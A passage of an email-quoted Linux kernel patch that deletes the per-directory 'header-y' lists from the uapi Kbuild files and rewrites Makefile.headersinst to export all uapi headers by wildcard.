> -header-y += connector.h
> -header-y += const.h
> -header-y += cramfs_fs.h
> -header-y += cuda.h
> -header-y += cyclades.h
> -header-y += cycx_cfm.h
> -header-y += dcbnl.h
> -header-y += dccp.h
> -header-y += devlink.h
> -header-y += dlmconstants.h
> -header-y += dlm_device.h
> -header-y += dlm.h
> -header-y += dlm_netlink.h
> -header-y += dlm_plock.h
> -header-y += dm-ioctl.h
> -header-y += dm-log-userspace.h
> -header-y += dn.h
> -header-y += dqblk_xfs.h
> -header-y += edd.h
> -header-y += efs_fs_sb.h
> -header-y += elfcore.h
> -header-y += elf-em.h
> -header-y += elf-fdpic.h
> -header-y += elf.h
> -header-y += errno.h
> -header-y += errqueue.h
> -header-y += ethtool.h
> -header-y += eventpoll.h
> -header-y += fadvise.h
> -header-y += falloc.h
> -header-y += fanotify.h
> -header-y += fb.h
> -header-y += fcntl.h
> -header-y += fd.h
> -header-y += fdreg.h
> -header-y += fib_rules.h
> -header-y += fiemap.h
> -header-y += filter.h
> -header-y += firewire-cdev.h
> -header-y += firewire-constants.h
> -header-y += flat.h
> -header-y += fou.h
> -header-y += fs.h
> -header-y += fsl_hypervisor.h
> -header-y += fuse.h
> -header-y += futex.h
> -header-y += gameport.h
> -header-y += genetlink.h
> -header-y += gen_stats.h
> -header-y += gfs2_ondisk.h
> -header-y += gigaset_dev.h
> -header-y += gpio.h
> -header-y += gsmmux.h
> -header-y += gtp.h
> -header-y += hdlcdrv.h
> -header-y += hdlc.h
> -header-y += hdreg.h
> -header-y += hiddev.h
> -header-y += hid.h
> -header-y += hidraw.h
> -header-y += hpet.h
> -header-y += hsr_netlink.h
> -header-y += hyperv.h
> -header-y += hysdn_if.h
> -header-y += i2c-dev.h
> -header-y += i2c.h
> -header-y += i2o-dev.h
> -header-y += i8k.h
> -header-y += icmp.h
> -header-y += icmpv6.h
> -header-y += if_addr.h
> -header-y += if_addrlabel.h
> -header-y += if_alg.h
> -header-y += if_arcnet.h
> -header-y += if_arp.h
> -header-y += if_bonding.h
> -header-y += if_bridge.h
> -header-y += if_cablemodem.h
> -header-y += if_eql.h
> -header-y += if_ether.h
> -header-y += if_fc.h
> -header-y += if_fddi.h
> -header-y += if_frad.h
> -header-y += if.h
> -header-y += if_hippi.h
> -header-y += if_infiniband.h
> -header-y += if_link.h
> -header-y += if_ltalk.h
> -header-y += if_macsec.h
> -header-y += if_packet.h
> -header-y += if_phonet.h
> -header-y += if_plip.h
> -header-y += if_ppp.h
> -header-y += if_pppol2tp.h
> -header-y += if_pppox.h
> -header-y += if_slip.h
> -header-y += if_team.h
> -header-y += if_tun.h
> -header-y += if_tunnel.h
> -header-y += if_vlan.h
> -header-y += if_x25.h
> -header-y += igmp.h
> -header-y += ila.h
> -header-y += in6.h
> -header-y += inet_diag.h
> -header-y += in.h
> -header-y += inotify.h
> -header-y += input.h
> -header-y += input-event-codes.h
> -header-y += in_route.h
> -header-y += ioctl.h
> -header-y += ip6_tunnel.h
> -header-y += ipc.h
> -header-y += ip.h
> -header-y += ipmi.h
> -header-y += ipmi_msgdefs.h
> -header-y += ipsec.h
> -header-y += ipv6.h
> -header-y += ipv6_route.h
> -header-y += ip_vs.h
> -header-y += ipx.h
> -header-y += irda.h
> -header-y += irqnr.h
> -header-y += isdn_divertif.h
> -header-y += isdn.h
> -header-y += isdnif.h
> -header-y += isdn_ppp.h
> -header-y += iso_fs.h
> -header-y += ivtvfb.h
> -header-y += ivtv.h
> -header-y += ixjuser.h
> -header-y += jffs2.h
> -header-y += joystick.h
> -header-y += kcmp.h
> -header-y += kdev_t.h
> -header-y += kd.h
> -header-y += kernelcapi.h
> -header-y += kernel.h
> -header-y += kernel-page-flags.h
> -header-y += kexec.h
> -header-y += keyboard.h
> -header-y += keyctl.h
> -
> -ifneq ($(wildcard $(srctree)/arch/$(SRCARCH)/include/uapi/asm/kvm.h \
> -		  $(srctree)/arch/$(SRCARCH)/include/asm/kvm.h),)
> -header-y += kvm.h
> -endif
> -
> -
> -ifneq ($(wildcard $(srctree)/arch/$(SRCARCH)/include/uapi/asm/kvm_para.h \
> -		  $(srctree)/arch/$(SRCARCH)/include/asm/kvm_para.h),)
> -header-y += kvm_para.h
> -endif
> -
> -header-y += hw_breakpoint.h
> -header-y += l2tp.h
> -header-y += libc-compat.h
> -header-y += lirc.h
> -header-y += limits.h
> -header-y += llc.h
> -header-y += loop.h
> -header-y += lp.h
> -header-y += lwtunnel.h
> -header-y += magic.h
> -header-y += major.h
> -header-y += map_to_7segment.h
> -header-y += matroxfb.h
> -header-y += mdio.h
> -header-y += media.h
> -header-y += media-bus-format.h
> -header-y += mei.h
> -header-y += membarrier.h
> -header-y += memfd.h
> -header-y += mempolicy.h
> -header-y += meye.h
> -header-y += mic_common.h
> -header-y += mic_ioctl.h
> -header-y += mii.h
> -header-y += minix_fs.h
> -header-y += mman.h
> -header-y += mmtimer.h
> -header-y += mpls.h
> -header-y += mpls_iptunnel.h
> -header-y += mqueue.h
> -header-y += mroute6.h
> -header-y += mroute.h
> -header-y += msdos_fs.h
> -header-y += msg.h
> -header-y += mtio.h
> -header-y += nbd.h
> -header-y += ncp_fs.h
> -header-y += ncp.h
> -header-y += ncp_mount.h
> -header-y += ncp_no.h
> -header-y += ndctl.h
> -header-y += neighbour.h
> -header-y += netconf.h
> -header-y += netdevice.h
> -header-y += net_dropmon.h
> -header-y += netfilter_arp.h
> -header-y += netfilter_bridge.h
> -header-y += netfilter_decnet.h
> -header-y += netfilter.h
> -header-y += netfilter_ipv4.h
> -header-y += netfilter_ipv6.h
> -header-y += net.h
> -header-y += netlink_diag.h
> -header-y += netlink.h
> -header-y += netrom.h
> -header-y += net_namespace.h
> -header-y += net_tstamp.h
> -header-y += nfc.h
> -header-y += nfs2.h
> -header-y += nfs3.h
> -header-y += nfs4.h
> -header-y += nfs4_mount.h
> -header-y += nfsacl.h
> -header-y += nfs_fs.h
> -header-y += nfs.h
> -header-y += nfs_idmap.h
> -header-y += nfs_mount.h
> -header-y += nl80211.h
> -header-y += n_r3964.h
> -header-y += nubus.h
> -header-y += nvme_ioctl.h
> -header-y += nvram.h
> -header-y += omap3isp.h
> -header-y += omapfb.h
> -header-y += oom.h
> -header-y += openvswitch.h
> -header-y += packet_diag.h
> -header-y += param.h
> -header-y += parport.h
> -header-y += patchkey.h
> -header-y += pci.h
> -header-y += pci_regs.h
> -header-y += perf_event.h
> -header-y += personality.h
> -header-y += pfkeyv2.h
> -header-y += pg.h
> -header-y += phantom.h
> -header-y += phonet.h
> -header-y += pktcdvd.h
> -header-y += pkt_cls.h
> -header-y += pkt_sched.h
> -header-y += pmu.h
> -header-y += poll.h
> -header-y += posix_acl.h
> -header-y += posix_acl_xattr.h
> -header-y += posix_types.h
> -header-y += ppdev.h
> -header-y += ppp-comp.h
> -header-y += ppp_defs.h
> -header-y += ppp-ioctl.h
> -header-y += pps.h
> -header-y += prctl.h
> -header-y += psci.h
> -header-y += ptp_clock.h
> -header-y += ptrace.h
> -header-y += qnx4_fs.h
> -header-y += qnxtypes.h
> -header-y += quota.h
> -header-y += radeonfb.h
> -header-y += random.h
> -header-y += raw.h
> -header-y += rds.h
> -header-y += reboot.h
> -header-y += reiserfs_fs.h
> -header-y += reiserfs_xattr.h
> -header-y += resource.h
> -header-y += rfkill.h
> -header-y += rio_cm_cdev.h
> -header-y += rio_mport_cdev.h
> -header-y += romfs_fs.h
> -header-y += rose.h
> -header-y += route.h
> -header-y += rtc.h
> -header-y += rtnetlink.h
> -header-y += scc.h
> -header-y += sched.h
> -header-y += scif_ioctl.h
> -header-y += screen_info.h
> -header-y += sctp.h
> -header-y += sdla.h
> -header-y += seccomp.h
> -header-y += securebits.h
> -header-y += selinux_netlink.h
> -header-y += sem.h
> -header-y += serial_core.h
> -header-y += serial.h
> -header-y += serial_reg.h
> -header-y += serio.h
> -header-y += shm.h
> -header-y += signalfd.h
> -header-y += signal.h
> -header-y += smiapp.h
> -header-y += snmp.h
> -header-y += sock_diag.h
> -header-y += socket.h
> -header-y += sockios.h
> -header-y += sonet.h
> -header-y += sonypi.h
> -header-y += soundcard.h
> -header-y += sound.h
> -header-y += stat.h
> -header-y += stddef.h
> -header-y += string.h
> -header-y += suspend_ioctls.h
> -header-y += swab.h
> -header-y += synclink.h
> -header-y += sync_file.h
> -header-y += sysctl.h
> -header-y += sysinfo.h
> -header-y += target_core_user.h
> -header-y += taskstats.h
> -header-y += tcp.h
> -header-y += tcp_metrics.h
> -header-y += telephony.h
> -header-y += termios.h
> -header-y += thermal.h
> -header-y += time.h
> -header-y += times.h
> -header-y += timex.h
> -header-y += tiocl.h
> -header-y += tipc_config.h
> -header-y += tipc_netlink.h
> -header-y += tipc.h
> -header-y += toshiba.h
> -header-y += tty_flags.h
> -header-y += tty.h
> -header-y += types.h
> -header-y += udf_fs_i.h
> -header-y += udp.h
> -header-y += uhid.h
> -header-y += uinput.h
> -header-y += uio.h
> -header-y += uleds.h
> -header-y += ultrasound.h
> -header-y += un.h
> -header-y += unistd.h
> -header-y += unix_diag.h
> -header-y += usbdevice_fs.h
> -header-y += usbip.h
> -header-y += utime.h
> -header-y += utsname.h
> -header-y += uuid.h
> -header-y += uvcvideo.h
> -header-y += v4l2-common.h
> -header-y += v4l2-controls.h
> -header-y += v4l2-dv-timings.h
> -header-y += v4l2-mediabus.h
> -header-y += v4l2-subdev.h
> -header-y += veth.h
> -header-y += vfio.h
> -header-y += vhost.h
> -header-y += videodev2.h
> -header-y += virtio_9p.h
> -header-y += virtio_balloon.h
> -header-y += virtio_blk.h
> -header-y += virtio_config.h
> -header-y += virtio_console.h
> -header-y += virtio_gpu.h
> -header-y += virtio_ids.h
> -header-y += virtio_input.h
> -header-y += virtio_net.h
> -header-y += virtio_pci.h
> -header-y += virtio_ring.h
> -header-y += virtio_rng.h
> -header-y += virtio_scsi.h
> -header-y += virtio_types.h
> -header-y += virtio_vsock.h
> -header-y += virtio_crypto.h
> -header-y += vm_sockets.h
> -header-y += vt.h
> -header-y += vtpm_proxy.h
> -header-y += wait.h
> -header-y += wanrouter.h
> -header-y += watchdog.h
> -header-y += wimax.h
> -header-y += wireless.h
> -header-y += x25.h
> -header-y += xattr.h
> -header-y += xfrm.h
> -header-y += xilinx-v4l2-controls.h
> -header-y += zorro.h
> -header-y += zorro_ids.h
> -header-y += userfaultfd.h
> diff --git a/include/uapi/linux/android/Kbuild b/include/uapi/linux/android/Kbuild
> deleted file mode 100644
> index ca011eec252a..000000000000
> --- a/include/uapi/linux/android/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += binder.h
> diff --git a/include/uapi/linux/byteorder/Kbuild b/include/uapi/linux/byteorder/Kbuild
> deleted file mode 100644
> index 619225b9ff2e..000000000000
> --- a/include/uapi/linux/byteorder/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += big_endian.h
> -header-y += little_endian.h
> diff --git a/include/uapi/linux/caif/Kbuild b/include/uapi/linux/caif/Kbuild
> deleted file mode 100644
> index 43396612d3a3..000000000000
> --- a/include/uapi/linux/caif/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += caif_socket.h
> -header-y += if_caif.h
> diff --git a/include/uapi/linux/can/Kbuild b/include/uapi/linux/can/Kbuild
> deleted file mode 100644
> index 21c91bf25a29..000000000000
> --- a/include/uapi/linux/can/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += bcm.h
> -header-y += error.h
> -header-y += gw.h
> -header-y += netlink.h
> -header-y += raw.h
> diff --git a/include/uapi/linux/dvb/Kbuild b/include/uapi/linux/dvb/Kbuild
> deleted file mode 100644
> index d40942cfc627..000000000000
> --- a/include/uapi/linux/dvb/Kbuild
> +++ /dev/null
> @@ -1,9 +0,0 @@
> -# UAPI Header export list
> -header-y += audio.h
> -header-y += ca.h
> -header-y += dmx.h
> -header-y += frontend.h
> -header-y += net.h
> -header-y += osd.h
> -header-y += version.h
> -header-y += video.h
> diff --git a/include/uapi/linux/hdlc/Kbuild b/include/uapi/linux/hdlc/Kbuild
> deleted file mode 100644
> index 8c1d2cb75e33..000000000000
> --- a/include/uapi/linux/hdlc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += ioctl.h
> diff --git a/include/uapi/linux/hsi/Kbuild b/include/uapi/linux/hsi/Kbuild
> deleted file mode 100644
> index a16a00544258..000000000000
> --- a/include/uapi/linux/hsi/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += hsi_char.h cs-protocol.h
> diff --git a/include/uapi/linux/iio/Kbuild b/include/uapi/linux/iio/Kbuild
> deleted file mode 100644
> index 86f76d84c44f..000000000000
> --- a/include/uapi/linux/iio/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += events.h
> -header-y += types.h
> diff --git a/include/uapi/linux/isdn/Kbuild b/include/uapi/linux/isdn/Kbuild
> deleted file mode 100644
> index 89e52850bf29..000000000000
> --- a/include/uapi/linux/isdn/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += capicmd.h
> diff --git a/include/uapi/linux/mmc/Kbuild b/include/uapi/linux/mmc/Kbuild
> deleted file mode 100644
> index 8c1d2cb75e33..000000000000
> --- a/include/uapi/linux/mmc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += ioctl.h
> diff --git a/include/uapi/linux/netfilter/Kbuild b/include/uapi/linux/netfilter/Kbuild
> deleted file mode 100644
> index 03f194aeadc5..000000000000
> --- a/include/uapi/linux/netfilter/Kbuild
> +++ /dev/null
> @@ -1,89 +0,0 @@
> -# UAPI Header export list
> -header-y += ipset/
> -header-y += nf_conntrack_common.h
> -header-y += nf_conntrack_ftp.h
> -header-y += nf_conntrack_sctp.h
> -header-y += nf_conntrack_tcp.h
> -header-y += nf_conntrack_tuple_common.h
> -header-y += nf_log.h
> -header-y += nf_tables.h
> -header-y += nf_tables_compat.h
> -header-y += nf_nat.h
> -header-y += nfnetlink.h
> -header-y += nfnetlink_acct.h
> -header-y += nfnetlink_compat.h
> -header-y += nfnetlink_conntrack.h
> -header-y += nfnetlink_cthelper.h
> -header-y += nfnetlink_cttimeout.h
> -header-y += nfnetlink_log.h
> -header-y += nfnetlink_queue.h
> -header-y += x_tables.h
> -header-y += xt_AUDIT.h
> -header-y += xt_CHECKSUM.h
> -header-y += xt_CLASSIFY.h
> -header-y += xt_CONNMARK.h
> -header-y += xt_CONNSECMARK.h
> -header-y += xt_CT.h
> -header-y += xt_DSCP.h
> -header-y += xt_HMARK.h
> -header-y += xt_IDLETIMER.h
> -header-y += xt_LED.h
> -header-y += xt_LOG.h
> -header-y += xt_MARK.h
> -header-y += xt_NFLOG.h
> -header-y += xt_NFQUEUE.h
> -header-y += xt_RATEEST.h
> -header-y += xt_SECMARK.h
> -header-y += xt_SYNPROXY.h
> -header-y += xt_TCPMSS.h
> -header-y += xt_TCPOPTSTRIP.h
> -header-y += xt_TEE.h
> -header-y += xt_TPROXY.h
> -header-y += xt_addrtype.h
> -header-y += xt_bpf.h
> -header-y += xt_cgroup.h
> -header-y += xt_cluster.h
> -header-y += xt_comment.h
> -header-y += xt_connbytes.h
> -header-y += xt_connlabel.h
> -header-y += xt_connlimit.h
> -header-y += xt_connmark.h
> -header-y += xt_conntrack.h
> -header-y += xt_cpu.h
> -header-y += xt_dccp.h
> -header-y += xt_devgroup.h
> -header-y += xt_dscp.h
> -header-y += xt_ecn.h
> -header-y += xt_esp.h
> -header-y += xt_hashlimit.h
> -header-y += xt_helper.h
> -header-y += xt_ipcomp.h
> -header-y += xt_iprange.h
> -header-y += xt_ipvs.h
> -header-y += xt_l2tp.h
> -header-y += xt_length.h
> -header-y += xt_limit.h
> -header-y += xt_mac.h
> -header-y += xt_mark.h
> -header-y += xt_multiport.h
> -header-y += xt_nfacct.h
> -header-y += xt_osf.h
> -header-y += xt_owner.h
> -header-y += xt_physdev.h
> -header-y += xt_pkttype.h
> -header-y += xt_policy.h
> -header-y += xt_quota.h
> -header-y += xt_rateest.h
> -header-y += xt_realm.h
> -header-y += xt_recent.h
> -header-y += xt_rpfilter.h
> -header-y += xt_sctp.h
> -header-y += xt_set.h
> -header-y += xt_socket.h
> -header-y += xt_state.h
> -header-y += xt_statistic.h
> -header-y += xt_string.h
> -header-y += xt_tcpmss.h
> -header-y += xt_tcpudp.h
> -header-y += xt_time.h
> -header-y += xt_u32.h
> diff --git a/include/uapi/linux/netfilter/ipset/Kbuild b/include/uapi/linux/netfilter/ipset/Kbuild
> deleted file mode 100644
> index d2680423d9ab..000000000000
> --- a/include/uapi/linux/netfilter/ipset/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += ip_set.h
> -header-y += ip_set_bitmap.h
> -header-y += ip_set_hash.h
> -header-y += ip_set_list.h
> diff --git a/include/uapi/linux/netfilter_arp/Kbuild b/include/uapi/linux/netfilter_arp/Kbuild
> deleted file mode 100644
> index 62d5637cc0ac..000000000000
> --- a/include/uapi/linux/netfilter_arp/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += arp_tables.h
> -header-y += arpt_mangle.h
> diff --git a/include/uapi/linux/netfilter_bridge/Kbuild b/include/uapi/linux/netfilter_bridge/Kbuild
> deleted file mode 100644
> index 0fbad8ef96de..000000000000
> --- a/include/uapi/linux/netfilter_bridge/Kbuild
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -# UAPI Header export list
> -header-y += ebt_802_3.h
> -header-y += ebt_among.h
> -header-y += ebt_arp.h
> -header-y += ebt_arpreply.h
> -header-y += ebt_ip.h
> -header-y += ebt_ip6.h
> -header-y += ebt_limit.h
> -header-y += ebt_log.h
> -header-y += ebt_mark_m.h
> -header-y += ebt_mark_t.h
> -header-y += ebt_nat.h
> -header-y += ebt_nflog.h
> -header-y += ebt_pkttype.h
> -header-y += ebt_redirect.h
> -header-y += ebt_stp.h
> -header-y += ebt_vlan.h
> -header-y += ebtables.h
> diff --git a/include/uapi/linux/netfilter_ipv4/Kbuild b/include/uapi/linux/netfilter_ipv4/Kbuild
> deleted file mode 100644
> index ecb291df390e..000000000000
> --- a/include/uapi/linux/netfilter_ipv4/Kbuild
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -# UAPI Header export list
> -header-y += ip_tables.h
> -header-y += ipt_CLUSTERIP.h
> -header-y += ipt_ECN.h
> -header-y += ipt_LOG.h
> -header-y += ipt_REJECT.h
> -header-y += ipt_TTL.h
> -header-y += ipt_ah.h
> -header-y += ipt_ecn.h
> -header-y += ipt_ttl.h
> diff --git a/include/uapi/linux/netfilter_ipv6/Kbuild b/include/uapi/linux/netfilter_ipv6/Kbuild
> deleted file mode 100644
> index 75a668ca2353..000000000000
> --- a/include/uapi/linux/netfilter_ipv6/Kbuild
> +++ /dev/null
> @@ -1,13 +0,0 @@
> -# UAPI Header export list
> -header-y += ip6_tables.h
> -header-y += ip6t_HL.h
> -header-y += ip6t_LOG.h
> -header-y += ip6t_NPT.h
> -header-y += ip6t_REJECT.h
> -header-y += ip6t_ah.h
> -header-y += ip6t_frag.h
> -header-y += ip6t_hl.h
> -header-y += ip6t_ipv6header.h
> -header-y += ip6t_mh.h
> -header-y += ip6t_opts.h
> -header-y += ip6t_rt.h
> diff --git a/include/uapi/linux/nfsd/Kbuild b/include/uapi/linux/nfsd/Kbuild
> deleted file mode 100644
> index c11bc404053c..000000000000
> --- a/include/uapi/linux/nfsd/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += cld.h
> -header-y += debug.h
> -header-y += export.h
> -header-y += nfsfh.h
> -header-y += stats.h
> diff --git a/include/uapi/linux/raid/Kbuild b/include/uapi/linux/raid/Kbuild
> deleted file mode 100644
> index e2c3d25405d7..000000000000
> --- a/include/uapi/linux/raid/Kbuild
> +++ /dev/null
> @@ -1,3 +0,0 @@
> -# UAPI Header export list
> -header-y += md_p.h
> -header-y += md_u.h
> diff --git a/include/uapi/linux/spi/Kbuild b/include/uapi/linux/spi/Kbuild
> deleted file mode 100644
> index 0cc747eff165..000000000000
> --- a/include/uapi/linux/spi/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += spidev.h
> diff --git a/include/uapi/linux/sunrpc/Kbuild b/include/uapi/linux/sunrpc/Kbuild
> deleted file mode 100644
> index 8e02e47c20fb..000000000000
> --- a/include/uapi/linux/sunrpc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += debug.h
> diff --git a/include/uapi/linux/tc_act/Kbuild b/include/uapi/linux/tc_act/Kbuild
> deleted file mode 100644
> index e3db7403296f..000000000000
> --- a/include/uapi/linux/tc_act/Kbuild
> +++ /dev/null
> @@ -1,15 +0,0 @@
> -# UAPI Header export list
> -header-y += tc_csum.h
> -header-y += tc_defact.h
> -header-y += tc_gact.h
> -header-y += tc_ipt.h
> -header-y += tc_mirred.h
> -header-y += tc_nat.h
> -header-y += tc_pedit.h
> -header-y += tc_skbedit.h
> -header-y += tc_vlan.h
> -header-y += tc_bpf.h
> -header-y += tc_connmark.h
> -header-y += tc_ife.h
> -header-y += tc_tunnel_key.h
> -header-y += tc_skbmod.h
> diff --git a/include/uapi/linux/tc_ematch/Kbuild b/include/uapi/linux/tc_ematch/Kbuild
> deleted file mode 100644
> index 53fca3925535..000000000000
> --- a/include/uapi/linux/tc_ematch/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += tc_em_cmp.h
> -header-y += tc_em_meta.h
> -header-y += tc_em_nbyte.h
> -header-y += tc_em_text.h
> diff --git a/include/uapi/linux/usb/Kbuild b/include/uapi/linux/usb/Kbuild
> deleted file mode 100644
> index 4cc4d6e7e523..000000000000
> --- a/include/uapi/linux/usb/Kbuild
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -# UAPI Header export list
> -header-y += audio.h
> -header-y += cdc.h
> -header-y += cdc-wdm.h
> -header-y += ch11.h
> -header-y += ch9.h
> -header-y += functionfs.h
> -header-y += g_printer.h
> -header-y += gadgetfs.h
> -header-y += midi.h
> -header-y += tmc.h
> -header-y += video.h
> diff --git a/include/uapi/linux/wimax/Kbuild b/include/uapi/linux/wimax/Kbuild
> deleted file mode 100644
> index 1c97be49971f..000000000000
> --- a/include/uapi/linux/wimax/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += i2400m.h
> diff --git a/include/uapi/misc/Kbuild b/include/uapi/misc/Kbuild
> deleted file mode 100644
> index e96cae7d58c9..000000000000
> --- a/include/uapi/misc/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# misc Header export list
> -header-y += cxl.h
> diff --git a/include/uapi/mtd/Kbuild b/include/uapi/mtd/Kbuild
> deleted file mode 100644
> index 5a691e10cd0e..000000000000
> --- a/include/uapi/mtd/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += inftl-user.h
> -header-y += mtd-abi.h
> -header-y += mtd-user.h
> -header-y += nftl-user.h
> -header-y += ubi-user.h
> diff --git a/include/uapi/rdma/Kbuild b/include/uapi/rdma/Kbuild
> deleted file mode 100644
> index 82bdf5626859..000000000000
> --- a/include/uapi/rdma/Kbuild
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -# UAPI Header export list
> -header-y += ib_user_cm.h
> -header-y += ib_user_mad.h
> -header-y += ib_user_sa.h
> -header-y += ib_user_verbs.h
> -header-y += rdma_netlink.h
> -header-y += rdma_user_cm.h
> -header-y += hfi/
> -header-y += rdma_user_rxe.h
> -header-y += cxgb3-abi.h
> -header-y += cxgb4-abi.h
> -header-y += mlx4-abi.h
> -header-y += mlx5-abi.h
> -header-y += mthca-abi.h
> -header-y += nes-abi.h
> -header-y += ocrdma-abi.h
> -header-y += hns-abi.h
> -header-y += vmw_pvrdma-abi.h
> diff --git a/include/uapi/rdma/hfi/Kbuild b/include/uapi/rdma/hfi/Kbuild
> deleted file mode 100644
> index ef23c294fc71..000000000000
> --- a/include/uapi/rdma/hfi/Kbuild
> +++ /dev/null
> @@ -1,2 +0,0 @@
> -# UAPI Header export list
> -header-y += hfi1_user.h
> diff --git a/include/uapi/scsi/Kbuild b/include/uapi/scsi/Kbuild
> deleted file mode 100644
> index d791e0ad509d..000000000000
> --- a/include/uapi/scsi/Kbuild
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -# UAPI Header export list
> -header-y += fc/
> -header-y += scsi_bsg_fc.h
> -header-y += scsi_netlink.h
> -header-y += scsi_netlink_fc.h
> -header-y += cxlflash_ioctl.h
> diff --git a/include/uapi/scsi/fc/Kbuild b/include/uapi/scsi/fc/Kbuild
> deleted file mode 100644
> index 5ead9fac265c..000000000000
> --- a/include/uapi/scsi/fc/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += fc_els.h
> -header-y += fc_fs.h
> -header-y += fc_gs.h
> -header-y += fc_ns.h
> diff --git a/include/uapi/sound/Kbuild b/include/uapi/sound/Kbuild
> deleted file mode 100644
> index 9578d8bdbf31..000000000000
> --- a/include/uapi/sound/Kbuild
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -# UAPI Header export list
> -header-y += asequencer.h
> -header-y += asoc.h
> -header-y += asound.h
> -header-y += asound_fm.h
> -header-y += compress_offload.h
> -header-y += compress_params.h
> -header-y += emu10k1.h
> -header-y += firewire.h
> -header-y += hdsp.h
> -header-y += hdspm.h
> -header-y += sb16_csp.h
> -header-y += sfnt_info.h
> -header-y += tlv.h
> -header-y += usb_stream.h
> -header-y += snd_sst_tokens.h
> diff --git a/include/uapi/video/Kbuild b/include/uapi/video/Kbuild
> deleted file mode 100644
> index ac7203bb32cc..000000000000
> --- a/include/uapi/video/Kbuild
> +++ /dev/null
> @@ -1,4 +0,0 @@
> -# UAPI Header export list
> -header-y += edid.h
> -header-y += sisfb.h
> -header-y += uvesafb.h
> diff --git a/include/uapi/xen/Kbuild b/include/uapi/xen/Kbuild
> deleted file mode 100644
> index 5c459628e8c7..000000000000
> --- a/include/uapi/xen/Kbuild
> +++ /dev/null
> @@ -1,5 +0,0 @@
> -# UAPI Header export list
> -header-y += evtchn.h
> -header-y += gntalloc.h
> -header-y += gntdev.h
> -header-y += privcmd.h
> diff --git a/include/video/Kbuild b/include/video/Kbuild
> deleted file mode 100644
> index e69de29bb2d1..000000000000
> diff --git a/scripts/Makefile.headersinst b/scripts/Makefile.headersinst
> index 876b42cfede4..bb93f8466a35 100644
> --- a/scripts/Makefile.headersinst
> +++ b/scripts/Makefile.headersinst
> @@ -1,17 +1,18 @@
>  # ==========================================================================
>  # Installing headers
>  #
> -# header-y  - list files to be installed. They are preprocessed
> -#             to remove __KERNEL__ section of the file
> -# genhdr-y  - Same as header-y but in a generated/ directory
> +# All headers under include/uapi, include/generated/uapi,
> +# arch/<arch>/include/uapi/asm and /include/generated/uapi/asm are exported.
> +# They are preprocessed to remove __KERNEL__ section of the file.
>  #
>  # ==========================================================================
>  
>  # generated header directory
>  gen := $(if $(gen),$(gen),$(subst include/,include/generated/,$(obj)))
>  
> +# Kbuild file is optional
>  kbuild-file := $(srctree)/$(obj)/Kbuild
> -include $(kbuild-file)
> +-include $(kbuild-file)
>  
>  # called may set destination dir (when installing to asm/)
>  _dst := $(if $(dst),$(dst),$(obj))
> @@ -25,9 +26,12 @@ include scripts/Kbuild.include
>  
>  installdir    := $(INSTALL_HDR_PATH)/$(subst uapi/,,$(_dst))
>  
> -header-y      := $(sort $(header-y))
> -subdirs       := $(patsubst %/,%,$(filter %/, $(header-y)))
> -header-y      := $(filter-out %/, $(header-y))
> +subdirs       := $(patsubst $(srctree)/$(obj)/%/.,%,$(wildcard $(srctree)/$(obj)/*/.))
> +subdirs       += $(subdir-y)
> +header-files  := $(notdir $(wildcard $(srctree)/$(obj)/*.h))
> +header-files  += $(notdir $(wildcard $(srctree)/$(obj)/*.agh))
> +genhdr-files  := $(notdir $(wildcard $(srctree)/$(gen)/*.h))
> +genhdr-files  := $(filter-out $(header-files), $(genhdr-files))
>  
>  # files used to track state of install/check
>  install-file  := $(installdir)/.install
> @@ -35,26 +39,17 @@ check-file    := $(installdir)/.check
>  
>  # generic-y list all files an architecture uses from asm-generic
>  # Use this to build a list of headers which require a wrapper
> -wrapper-files := $(filter $(header-y), $(generic-y))
> +generic-files := $(notdir $(wildcard $(srctree)/include/uapi/asm-generic/*.h))
> +wrapper-files := $(filter $(generic-files), $(generic-y))
> +wrapper-files := $(filter-out $(header-files), $(wrapper-files))
>  
>  srcdir        := $(srctree)/$(obj)
>  gendir        := $(objtree)/$(gen)
>  
>  # all headers files for this dir
> -header-y      := $(filter-out $(generic-y), $(header-y))
> -all-files     := $(header-y) $(genhdr-y) $(wrapper-files)
> +all-files     := $(header-files) $(genhdr-files) $(wrapper-files)
>  output-files  := $(addprefix $(installdir)/, $(all-files))
>  
> -# Check that all expected files exist
> -$(foreach hdr, $(header-y), \
> -  $(if $(wildcard $(srcdir)/$(hdr)),, \
> -       $(error Missing UAPI file $(srcdir)/$(hdr)) \
> -   ))
> -$(foreach hdr, $(genhdr-y), \
> -  $(if	$(wildcard $(gendir)/$(hdr)),, \
> -       $(error Missing generated UAPI file $(gendir)/$(hdr)) \
> -  ))
> -
